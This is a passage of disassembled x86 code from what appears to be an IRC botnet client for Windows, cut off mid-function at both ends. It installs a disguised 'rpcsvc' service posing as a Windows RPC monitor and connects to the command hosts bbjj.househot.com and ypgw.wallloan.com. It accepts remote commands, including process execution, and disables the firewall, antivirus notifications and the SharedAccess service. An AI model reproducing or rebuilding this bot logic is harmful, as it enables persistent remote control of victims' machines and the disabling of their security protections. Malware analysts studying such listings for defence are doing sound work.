loc_40215F:				; CODE XREF: sub_40212C+54j
		push	0
		push	esi
		push	offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		call	dword_4010C8	; CopyFileA
		test	eax, eax
		jnz	short loc_402182
		push	1400h
		call	dword_4010D4	; Sleep
		inc	edi
		cmp	edi, 5
		jl	short loc_40215F


loc_402182:				; CODE XREF: sub_40212C+43j
		call	sub_402193
		pop	edi
		pop	esi
		test	eax, eax
		jz	short locret_402192
		jmp	sub_402CD9
; ---------------------------------------------------------------------------

locret_402192:				; CODE XREF: sub_40212C+5Fj
		retn
sub_40212C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402193	proc near		; CODE XREF: sub_40212C:loc_402182p

var_124		= byte ptr -124h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 124h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	12h
		push	esi
		push	esi
		call	dword_401004	; OpenSCManagerA
		mov	edi, offset aRpcsvc ; "rpcsvc"
		mov	ebx, eax
		push	10h
		push	edi
		push	ebx
		call	dword_40103C	; OpenServiceA
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_40223E
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\System32\\rpcsvc.exe"
		push	esi
		push	2
		push	110h
		push	40012h
		push	offset aWindowsRemoteP ; "Windows Remote Procedure Call	Monitorin"...
		push	edi
		push	ebx
		call	dword_401020	; CreateServiceA
		mov	edi, dword_401034
		lea	ecx, [ebp+var_10]
		push	1
		mov	[ebp+var_14], ecx
		pop	ebx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	2
		push	eax
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], esi
		mov	[ebp+var_24], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_1C], esi
		mov	[ebp+var_18], ebx
		call	edi	; ChangeServiceConfig2A
		push	100h
		lea	eax, [ebp+var_124]
		push	offset aProvidesReliab ; "Provides reliability and uptime monitor"...
		push	eax
		call	dword_4010BC	; lstrcpyn
		lea	eax, [ebp+var_124]
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	[ebp+var_4]
		call	edi	; ChangeServiceConfig2A


loc_40223E:				; CODE XREF: sub_402193+2Ej
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_401038	; StartServiceA
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402193	endp


; =============== S U B	R O U T	I N E =======================================



sub_40224E	proc near		; CODE XREF: sub_4027CB+F1p
					; sub_40384E+102p
		push	esi
		mov	esi, 10000h
		push	edi
		push	esi
		push	0
		push	0
		call	dword_401004	; OpenSCManagerA
		mov	edi, eax
		push	esi
		push	offset aRpcsvc	; "rpcsvc"
		push	edi
		call	dword_40103C	; OpenServiceA
		mov	esi, eax
		push	esi
		call	dword_40100C	; DeleteService
		push	esi
		mov	esi, dword_401008
		call	esi	; CloseServiceHandle
		push	edi
		call	esi	; CloseServiceHandle
		call	sub_402CD9
		pop	edi
		pop	esi
		retn
sub_40224E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40228C	proc near		; CODE XREF: sub_402094+1Cp
		push	104h
		push	offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	0
		call	dword_4010B8	; GetModuleFileNameA
		and	byte ptr aCM_unpackerPac[eax], 0 ; "C:\\m_unpacker\\packed.exe"
		push	44h
		push	offset aD	; "D"
		call	sub_402DBC
		and	word_401630, 0
		mov	dword ptr aD, 44h ; "D"
		mov	dword_40162C, 81h
		retn
sub_40228C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4022CE	proc near		; DATA XREF: sub_402094+Eo

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	offset nullsub_2
		push	offset aRpcsvc	; "rpcsvc"
		call	dword_401014	; RegisterServiceCtrlHandlerA
		and	[ebp+var_14], 0
		lea	ecx, [ebp+var_1C]
		push	ecx
		push	eax
		mov	[ebp+var_1C], 10h
		mov	[ebp+var_18], 4
		call	dword_401010	; SetServiceStatus
		call	sub_4020D7
		leave
		retn	8
sub_4022CE	endp

; [00000003 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40230D	proc near		; CODE XREF: sub_4020D7:loc_402112p

var_52C		= byte ptr -52Ch
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 52Ch
		call	sub_402E88
		mov	eax, offset aBbjj_househot_ ; "bbjj.househot.com"
		cmp	dword_401280, eax
		jnz	short loc_40233A
		mov	ax, word_401CAE
		mov	dword_401280, offset aYpgw_wallloan_ ; "ypgw.wallloan.com"
		jmp	short loc_402345
; ---------------------------------------------------------------------------


loc_40233A:				; CODE XREF: sub_40230D+19j
		mov	dword_401280, eax
		mov	ax, word_401C9A


loc_402345:				; CODE XREF: sub_40230D+2Bj
		push	ebx
		mov	word_401288, ax
		push	dword_401280
		call	dword_401124	; gethostbyname
		xor	ebx, ebx
		cmp	eax, ebx
		jz	loc_40254A
		mov	dword_40128C, ebx
		mov	dword_401284, ebx
		mov	eax, [eax+0Ch]
		push	esi
		push	edi
		push	6
		mov	eax, [eax]
		push	1
		pop	esi
		mov	eax, [eax]
		push	esi
		mov	[ebp+var_24], eax
		mov	ax, word_401288
		push	2
		mov	[ebp+var_28], 2
		mov	[ebp+var_26], ax
		call	dword_401128	; socket
		lea	ecx, [ebp+var_10]
		push	4
		push	ecx
		push	8
		push	0FFFFh
		push	eax
		mov	dword_4014BC, eax
		mov	[ebp+var_10], esi
		call	dword_40116C	; setsockopt
		lea	eax, [ebp+var_28]
		push	10h
		push	eax
		push	dword_4014BC
		call	dword_401130	; connect
		mov	esi, dword_401134
		push	ebx
		push	0Dh
		push	offset dword_401688
		push	dword_4014BC
		call	esi	; send
		call	dword_4010B4	; GetTickCount
		mov	edi, dword_401110
		push	eax
		push	offset dword_401CC4
		push	offset dword_40167C
		push	offset dword_401490
		call	edi	; wsprintfA
		push	offset dword_401490
		push	offset dword_401670
		push	offset dword_401290
		call	edi	; wsprintfA
		add	esp, 1Ch
		mov	dword_40127C, eax
		push	ebx
		push	eax
		push	offset dword_401290
		push	dword_4014BC
		call	esi	; send
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], 10h
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	dword_4014BC
		call	dword_401138	; getsockname
		mov	eax, [ebp+var_24]
		push	1
		mov	dword_4014C4, eax
		mov	eax, dword_4014BC
		mov	[ebp+var_128], eax
		mov	eax, dword_401CC0
		mov	esi, dword_40113C
		mov	[ebp+var_18], eax
		pop	edi
		lea	eax, [ebp+var_18]
		push	eax
		push	ebx
		lea	eax, [ebp+var_12C]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_12C], edi
		mov	[ebp+var_14], ebx
		push	ebx


loc_40247B:				; CODE XREF: sub_40230D+208j
		call	esi	; select
		cmp	eax, edi
		jnz	loc_40253C
		mov	eax, [ebp+var_4]
		mov	ecx, 400h
		sub	ecx, eax
		push	ebx
		lea	eax, [ebp+eax+var_52C]
		push	ecx
		push	eax
		push	dword_4014BC
		call	dword_401140	; recv
		cmp	eax, ebx
		jle	loc_40253C
		add	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+eax+var_52C], bl
		cmp	[ebp+var_52C], bl
		lea	eax, [ebp+var_52C]
		mov	[ebp+var_8], eax
		jz	short loc_4024F3


loc_4024CB:				; CODE XREF: sub_40230D+1E4j
		push	0Dh
		push	[ebp+var_8]
		call	sub_402E2E
		cmp	eax, ebx
		mov	[ebp+var_C], eax
		jz	short loc_40251A
		push	[ebp+var_8]
		mov	[eax], bl
		call	sub_40258D
		mov	eax, [ebp+var_C]
		add	eax, 2
		mov	[ebp+var_8], eax
		cmp	[eax], bl
		jnz	short loc_4024CB


loc_4024F3:				; CODE XREF: sub_40230D+1BCj
		mov	[ebp+var_4], ebx


loc_4024F6:				; CODE XREF: sub_40230D+22Dj
		mov	eax, dword_4014BC
		mov	[ebp+var_12C], edi
		mov	[ebp+var_128], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	ebx
		lea	eax, [ebp+var_12C]
		push	ebx
		push	eax
		push	ebx
		jmp	loc_40247B
; ---------------------------------------------------------------------------


loc_40251A:				; CODE XREF: sub_40230D+1CDj
		lea	eax, [ebp+var_52C]
		sub	eax, [ebp+var_8]
		add	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		lea	eax, [ebp+var_52C]
		push	[ebp+var_8]
		push	eax
		call	sub_402E0E
		jmp	short loc_4024F6
; ---------------------------------------------------------------------------


loc_40253C:				; CODE XREF: sub_40230D+172j
					; sub_40230D+19Aj
		push	dword_4014BC
		call	dword_401144	; closesocket
		pop	edi
		pop	esi


loc_40254A:				; CODE XREF: sub_40230D+4Fj
		pop	ebx
		leave
		retn
sub_40230D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40254D	proc near		; CODE XREF: sub_4027CB:loc_402848p
					; sub_4027CB+2ACp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_200]
		push	offset dword_401CB0
		push	offset aPrivmsg_16s_48 ; "PRiVMSG %.16s	:%.480s\n"
		push	eax
		call	dword_401110	; wsprintfA
		add	esp, 10h
		push	0
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	dword_4014BC
		call	dword_401134	; send
		leave
		retn	4
sub_40254D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40258D	proc near		; CODE XREF: sub_40230D+1D4p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		push	edi
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_4025B5
		lea	ebx, [esi+1]
		push	20h
		push	ebx
		call	sub_402E2E
		mov	esi, eax
		test	esi, esi
		jz	loc_4027C4
		and	byte ptr [esi],	0
		inc	esi
		jmp	short loc_4025B7
; ---------------------------------------------------------------------------


loc_4025B5:				; CODE XREF: sub_40258D+Bj
		xor	ebx, ebx


loc_4025B7:				; CODE XREF: sub_40258D+26j
		push	20h
		push	esi
		call	sub_402E2E
		mov	edi, eax
		test	edi, edi
		jz	loc_4027C4
		and	byte ptr [edi],	0
		mov	ebp, dword_4010B0
		push	offset aPing	; "PING"
		push	esi
		inc	edi
		call	ebp	; lstrcmp
		test	eax, eax
		jnz	short loc_40260E
		push	edi
		mov	esi, offset dword_401290
		push	offset aPong_500s ; "PoNG %.500s\r\n"
		push	esi
		call	dword_401110	; wsprintfA
		add	esp, 0Ch


loc_4025F4:				; CODE XREF: sub_40258D+F5j
		push	0
		push	eax
		push	esi
		mov	dword_40127C, eax
		push	dword_4014BC
		call	dword_401134	; send
		jmp	loc_4027C4
; ---------------------------------------------------------------------------


loc_40260E:				; CODE XREF: sub_40258D+50j
		push	offset aPrivmsg	; "PRIVMSG"
		push	esi
		call	ebp	; lstrcmp
		test	eax, eax
		jnz	short loc_40263A
		test	ebx, ebx
		jz	loc_4027C4
		push	ebx
		push	offset dword_401CCC
		call	sub_403185
		test	eax, eax
		jz	loc_4027C4
		push	20h
		push	edi
		jmp	short loc_4026A7
; ---------------------------------------------------------------------------


loc_40263A:				; CODE XREF: sub_40258D+8Bj
		push	offset a433	; "433"
		push	esi
		call	ebp	; lstrcmp
		test	eax, eax
		jnz	short loc_402687
		cmp	dword_40128C, eax
		jnz	loc_4027C4
		call	dword_4010B4	; GetTickCount
		mov	edi, dword_401110
		push	eax
		push	offset dword_401CC4
		mov	esi, offset dword_401490
		push	offset dword_40167C
		push	esi
		call	edi	; wsprintfA
		push	esi
		mov	esi, offset dword_401290
		push	offset dword_401670
		push	esi
		call	edi	; wsprintfA
		add	esp, 1Ch
		jmp	loc_4025F4
; ---------------------------------------------------------------------------


loc_402687:				; CODE XREF: sub_40258D+B7j
		push	offset a332	; "332"
		push	esi
		call	ebp	; lstrcmp
		test	eax, eax
		jnz	short loc_4026E3
		push	20h
		push	edi
		call	sub_402E2E
		test	eax, eax
		jz	loc_4027C4
		inc	eax
		push	20h
		push	eax


loc_4026A7:				; CODE XREF: sub_40258D+ABj
		call	sub_402E2E
		test	eax, eax
		jz	loc_4027C4
		inc	eax
		cmp	byte ptr [eax],	3Ah
		jnz	short loc_4026BB
		inc	eax


loc_4026BB:				; CODE XREF: sub_40258D+12Bj
		mov	cl, [eax]
		cmp	cl, byte_401CC8
		jnz	short loc_4026D3
		push	0


loc_4026C7:				; CODE XREF: sub_40258D+154j
		inc	eax
		push	eax
		call	sub_4027CB
		jmp	loc_4027C4
; ---------------------------------------------------------------------------


loc_4026D3:				; CODE XREF: sub_40258D+136j
		cmp	cl, byte_401CC9
		jnz	loc_4027C4
		push	1
		jmp	short loc_4026C7
; ---------------------------------------------------------------------------


loc_4026E3:				; CODE XREF: sub_40258D+104j
		push	offset a302	; "302"
		push	esi
		call	ebp	; lstrcmp
		test	eax, eax
		jnz	short loc_40274E
		cmp	dword_401284, eax
		jnz	short loc_40274E
		push	40h
		push	edi
		call	sub_402E2E
		mov	esi, eax
		test	esi, esi
		jz	short loc_402747
		inc	esi
		push	20h
		push	esi
		call	sub_402E2E
		test	eax, eax
		jz	short loc_402715
		and	byte ptr [eax],	0


loc_402715:				; CODE XREF: sub_40258D+183j
		push	esi
		call	dword_401120	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	dword_4014C0, eax
		jnz	short loc_40273D
		push	esi
		call	dword_401124	; gethostbyname
		test	eax, eax
		jz	short loc_402747
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	dword_4014C0, eax


loc_40273D:				; CODE XREF: sub_40258D+197j
		mov	dword_401284, 1


loc_402747:				; CODE XREF: sub_40258D+176j
					; sub_40258D+1A2j
		call	sub_402EAA
		jmp	short loc_4027C4
; ---------------------------------------------------------------------------


loc_40274E:				; CODE XREF: sub_40258D+160j
					; sub_40258D+168j
		push	offset a001	; "001"
		push	esi
		call	ebp	; lstrcmp
		test	eax, eax
		jnz	short loc_4027C4
		xor	ebx, ebx
		cmp	dword_40128C, ebx
		jnz	short loc_4027C4
		mov	edi, dword_401110
		push	offset dword_401490
		mov	esi, offset dword_401290
		push	offset aUserhost_16s ; "USeRHOST %.16s\n"
		push	esi
		mov	dword_40128C, 1
		call	edi	; wsprintfA
		add	esp, 0Ch
		mov	ebp, dword_401134
		mov	dword_40127C, eax
		push	ebx
		push	eax
		push	esi
		push	dword_4014BC
		call	ebp	; send
		push	offset aIhodc9hi ; "ihodc9hi"
		push	offset dword_401CB0
		push	offset aJoin_16s_16s ; "JOiN %.16s %.16s\n"
		push	esi
		call	edi	; wsprintfA
		add	esp, 10h
		mov	dword_40127C, eax
		push	ebx
		push	eax
		push	esi
		push	dword_4014BC
		call	ebp	; send


loc_4027C4:				; CODE XREF: sub_40258D+1Cj
					; sub_40258D+36j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_40258D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4027CB	proc near		; CODE XREF: sub_40258D+13Cp
					; sub_4027CB+141p

var_410		= byte ptr -410h
var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 410h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	dl, [eax]
		movsx	ecx, dl
		cmp	ecx, 61h
		jg	loc_402938
		jz	loc_402920
		cmp	ecx, 49h
		jg	loc_402879
		jz	short loc_402861
		sub	ecx, 43h
		jz	short loc_402857
		dec	ecx
		jz	short loc_40284D
		dec	ecx
		jz	short loc_402813
		dec	ecx
		jnz	loc_402A7C
		call	sub_403D9E
		jmp	loc_402A7C
; ---------------------------------------------------------------------------


loc_402813:				; CODE XREF: sub_4027CB+35j
		cmp	byte ptr [eax+1], 20h
		jnz	short loc_40284D
		push	offset dword_401650
		xor	edx, edx
		push	offset aD	; "D"
		push	edx
		push	edx
		push	28h
		push	edx
		push	edx
		add	eax, 2
		push	edx
		push	eax
		push	edx
		call	dword_4010AC	; CreateProcessA
		cmp	eax, 1
		jnz	short loc_402843
		push	offset aExec_0	; "[exec] :)"
		jmp	short loc_402848
; ---------------------------------------------------------------------------


loc_402843:				; CODE XREF: sub_4027CB+6Fj
		push	offset aExec	; "[exec] :("


loc_402848:				; CODE XREF: sub_4027CB+76j
		call	sub_40254D


loc_40284D:				; CODE XREF: sub_4027CB+32j
					; sub_4027CB+4Cj
		call	sub_402E88
		jmp	loc_402A7C
; ---------------------------------------------------------------------------


loc_402857:				; CODE XREF: sub_4027CB+2Fj
		call	sub_403A2B
		jmp	loc_402A7C
; ---------------------------------------------------------------------------


loc_402861:				; CODE XREF: sub_4027CB+2Aj
		cmp	byte ptr [eax+1], 20h
		jnz	loc_402A7C
		add	eax, 2
		push	eax
		call	sub_403A36
		jmp	loc_402A7C
; ---------------------------------------------------------------------------


loc_402879:				; CODE XREF: sub_4027CB+24j
		sub	ecx, 4Ch
		jz	loc_402916
		sub	ecx, 5
		jz	short loc_4028C6
		dec	ecx
		jz	short loc_40289B
		dec	ecx
		jnz	loc_402A7C
		call	sub_4034B6
		jmp	loc_402A7C
; ---------------------------------------------------------------------------


loc_40289B:				; CODE XREF: sub_4027CB+BDj
		push	0
		push	5
		push	offset aQuit	; "QUiT\n"
		push	dword_4014BC
		call	dword_401134	; send
		push	dword_4014BC
		call	dword_401144	; closesocket
		call	sub_40224E
		jmp	loc_402A7C
; ---------------------------------------------------------------------------


loc_4028C6:				; CODE XREF: sub_4027CB+BAj
		cmp	byte ptr [eax+1], 20h
		jnz	loc_402A7C
		mov	cl, [eax+2]
		add	eax, 2
		xor	edx, edx
		xor	esi, esi
		cmp	cl, dl
		jz	short loc_4028FB
		push	ebx


loc_4028DF:				; CODE XREF: sub_4027CB+12Dj
		mov	bl, [eax+1]
		shl	cl, 4
		add	bl, cl
		sub	bl, 71h
		mov	[ebp+esi+var_410], bl
		inc	esi
		inc	eax
		inc	eax
		mov	cl, [eax]
		cmp	cl, dl
		jnz	short loc_4028DF
		pop	ebx


loc_4028FB:				; CODE XREF: sub_4027CB+111j
		push	[ebp+arg_4]
		lea	eax, [ebp+var_410]
		mov	[ebp+esi+var_410], dl
		push	eax
		call	sub_4027CB
		jmp	loc_402A7C
; ---------------------------------------------------------------------------


loc_402916:				; CODE XREF: sub_4027CB+B1j
		call	sub_402EFD
		jmp	loc_402A7C
; ---------------------------------------------------------------------------


loc_402920:				; CODE XREF: sub_4027CB+1Bj
		cmp	byte ptr [eax+1], 20h
		jnz	loc_402A7C
		add	eax, 2
		push	eax
		call	sub_40421C
		jmp	loc_402A7C
; ---------------------------------------------------------------------------


loc_402938:				; CODE XREF: sub_4027CB+15j
		cmp	ecx, 6Ch
		jg	loc_4029E2
		jz	loc_4029D8
		sub	ecx, 63h
		jz	short loc_4029C0
		dec	ecx
		dec	ecx
		jz	loc_4029F8
		dec	ecx
		jz	short loc_4029B6
		dec	ecx
		dec	ecx
		jz	short loc_40299E
		dec	ecx
		jnz	loc_402A7C
		cmp	byte ptr [eax+1], 20h
		jnz	loc_402A7C
		add	eax, 2
		mov	esi, offset dword_401290
		push	eax
		push	offset a_500s	; "%.500s\n"
		push	esi
		call	dword_401110	; wsprintfA
		add	esp, 0Ch
		mov	dword_40127C, eax
		push	0
		push	eax
		push	esi
		push	dword_4014BC
		call	dword_401134	; send
		jmp	loc_402A7C
; ---------------------------------------------------------------------------


loc_40299E:				; CODE XREF: sub_4027CB+18Ej
		cmp	byte ptr [eax+1], 20h
		jnz	loc_402A7C
		add	eax, 2
		push	eax
		call	sub_404086
		jmp	loc_402A7C
; ---------------------------------------------------------------------------


loc_4029B6:				; CODE XREF: sub_4027CB+18Aj
		call	sub_403D7D
		jmp	loc_402A7C
; ---------------------------------------------------------------------------


loc_4029C0:				; CODE XREF: sub_4027CB+17Fj
		cmp	byte ptr [eax+1], 20h
		jnz	loc_402A7C
		add	eax, 2
		push	eax
		call	sub_40399D
		jmp	loc_402A7C
; ---------------------------------------------------------------------------


loc_4029D8:				; CODE XREF: sub_4027CB+176j
		call	sub_402EAA
		jmp	loc_402A7C
; ---------------------------------------------------------------------------


loc_4029E2:				; CODE XREF: sub_4027CB+170j
		sub	ecx, 6Eh
		jz	short loc_402A3A
		sub	ecx, 3
		jz	short loc_402A29
		dec	ecx
		dec	ecx
		jz	short loc_402A15
		dec	ecx
		dec	ecx
		jnz	loc_402A7C


loc_4029F8:				; CODE XREF: sub_4027CB+183j
		cmp	byte ptr [eax+1], 20h
		jnz	short loc_402A7C
		push	[ebp+arg_4]
		xor	ecx, ecx
		cmp	dl, 75h
		setz	cl
		add	eax, 2
		push	ecx
		push	eax
		call	sub_4037CC
		jmp	short loc_402A7C
; ---------------------------------------------------------------------------


loc_402A15:				; CODE XREF: sub_4027CB+223j
		cmp	byte ptr [eax+1], 20h
		jnz	short loc_402A7C
		push	[ebp+arg_4]
		add	eax, 2
		push	eax
		call	sub_4033F9
		jmp	short loc_402A7C
; ---------------------------------------------------------------------------


loc_402A29:				; CODE XREF: sub_4027CB+21Fj
		cmp	byte ptr [eax+1], 20h
		jnz	short loc_402A7C
		add	eax, 2
		push	eax
		call	sub_403207
		jmp	short loc_402A7C
; ---------------------------------------------------------------------------


loc_402A3A:				; CODE XREF: sub_4027CB+21Aj
		mov	esi, dword_40111C
		push	10h
		push	dword_4014C4
		call	esi	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_4010BC	; lstrcpyn
		push	dword_4014C0
		call	esi	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	esi, offset dword_401290
		push	offset aNi_16s_16s ; "[ni] %.16s %.16s"
		push	esi
		call	dword_401110	; wsprintfA
		add	esp, 10h
		push	esi
		call	sub_40254D


loc_402A7C:				; CODE XREF: sub_4027CB+38j
					; sub_4027CB+43j ...
		pop	esi
		leave
		retn	8
sub_4027CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A81	proc near		; CODE XREF: sub_4020D7+26p

var_134		= byte ptr -134h
var_30		= byte ptr -30h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 134h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		push	4
		push	6
		mov	[ebp+var_8], esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_14], 2
		mov	[ebp+var_13], bl
		mov	[ebp+var_12], 8
		mov	[ebp+var_10], bx
		mov	[ebp+var_E], bx
		call	dword_40109C	; GetCurrentProcess
		push	eax
		call	dword_401030	; SetSecurityInfo
		mov	edi, dword_40102C
		lea	eax, [ebp+var_4]
		push	eax
		push	offset aSoftwareMicros ; "software\\microsoft\\ole"
		push	80000002h
		call	edi	; RegCreateKeyA
		push	2
		push	offset aN	; "n"
		push	esi
		mov	esi, dword_401028
		push	ebx
		push	offset aEnabledcom ; "enabledcom"
		push	[ebp+var_4]
		call	esi	; RegSetValueExA
		push	[ebp+var_4]
		call	dword_401024	; RegCloseKey
		lea	eax, [ebp+var_4]
		push	eax
		push	offset aSystemCurrentc ; "system\\currentcontrolset\\control\\lsa"
		push	80000002h
		call	edi	; RegCreateKeyA
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		call	esi	; RegSetValueExA
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanon_0 ; "restrictanonymoussam"
		push	[ebp+var_4]
		call	esi	; RegSetValueExA
		push	[ebp+var_4]
		call	dword_401024	; RegCloseKey
		lea	eax, [ebp+var_4]
		push	eax
		push	offset aSystemCurren_0 ; "system\\currentcontrolset\\services\\lanma"...
		push	80000002h
		call	edi	; RegCreateKeyA
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aAutoshareserve ; "autoshareserver"
		push	[ebp+var_4]
		call	esi	; RegSetValueExA
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aAutosharewks ; "autosharewks"
		push	[ebp+var_4]
		call	esi	; RegSetValueExA
		push	[ebp+var_4]
		call	dword_401024	; RegCloseKey
		lea	eax, [ebp+var_4]
		push	eax
		push	offset aSoftwareMicr_0 ; "software\\microsoft\\security	center"
		push	80000002h
		call	edi	; RegCreateKeyA
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aAntivirusdisab ; "antivirusdisablenotify"
		push	[ebp+var_4]
		call	esi	; RegSetValueExA
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aAntivirusoverr ; "antivirusoverride"
		push	[ebp+var_4]
		call	esi	; RegSetValueExA
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aFirewalldisabl ; "firewalldisablenotify"
		push	[ebp+var_4]
		call	esi	; RegSetValueExA
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aFirewalldisa_0 ; "firewalldisableoverride"
		push	[ebp+var_4]
		call	esi	; RegSetValueExA
		push	[ebp+var_4]
		call	dword_401024	; RegCloseKey
		lea	eax, [ebp+var_4]
		push	eax
		push	offset aSoftwarePolici ; "software\\policies\\microsoft\\windowsfire"...
		push	80000002h
		call	edi	; RegCreateKeyA
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aEnablefirewall ; "enablefirewall"
		push	[ebp+var_4]
		call	esi	; RegSetValueExA
		push	[ebp+var_4]
		call	dword_401024	; RegCloseKey
		lea	eax, [ebp+var_4]
		push	eax
		push	offset aSoftwarePoli_0 ; "software\\policies\\microsoft\\windowsfire"...
		push	80000002h
		call	edi	; RegCreateKeyA
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aEnablefirewall ; "enablefirewall"
		push	[ebp+var_4]
		call	esi	; RegSetValueExA
		push	[ebp+var_4]
		call	dword_401024	; RegCloseKey
		lea	eax, [ebp+var_134]
		push	104h
		push	eax
		call	dword_4010A0	; GetWindowsDirectoryA
		lea	eax, [ebp+var_134]
		push	eax
		push	offset aSDebugDcpromo_ ; "%s\\debug\\dcpromo.log"
		lea	eax, [ebp+var_134]
		push	eax
		call	dword_401110	; wsprintfA
		add	esp, 0Ch
		lea	eax, [ebp+var_134]
		push	1
		push	eax
		call	dword_4010A4	; _lcreat
		push	eax
		call	dword_4010A8	; _lclose
		lea	eax, [ebp+var_134]
		push	1
		push	eax
		call	dword_4010C4	; SetFileAttributesA
		push	22h
		push	ebx
		push	ebx
		call	dword_401004	; OpenSCManagerA
		mov	edi, eax
		push	22h
		push	offset aSharedaccess ; "sharedaccess"
		push	edi
		call	dword_40103C	; OpenServiceA
		mov	esi, eax
		lea	eax, [ebp+var_30]
		push	eax
		push	1
		push	esi
		call	dword_40101C	; ControlService
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		push	4
		push	0FFFFFFFFh
		push	esi
		call	dword_401018	; ChangeServiceConfigA
		push	esi
		mov	esi, dword_401008
		call	esi	; CloseServiceHandle
		push	edi
		call	esi	; CloseServiceHandle
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402A81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402CD9	proc near		; CODE XREF: sub_40212C+61j
					; sub_40224E+36p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		call	dword_40109C	; GetCurrentProcess
		mov	edi, dword_4010DC
		push	offset dword_401650
		xor	esi, esi
		mov	ebx, eax
		mov	eax, dword_401058
		push	offset aD	; "D"
		push	esi
		push	esi
		mov	dword_401955, eax
		mov	eax, dword_401054
		push	44h
		push	esi
		push	esi
		mov	dword_401961, eax
		mov	eax, dword_401050
		push	esi
		push	offset dword_401980
		push	esi
		mov	dword_401968, eax
		mov	dword_401971, edi
		call	dword_4010AC	; CreateProcessA
		push	2
		push	esi
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		push	dword_401650
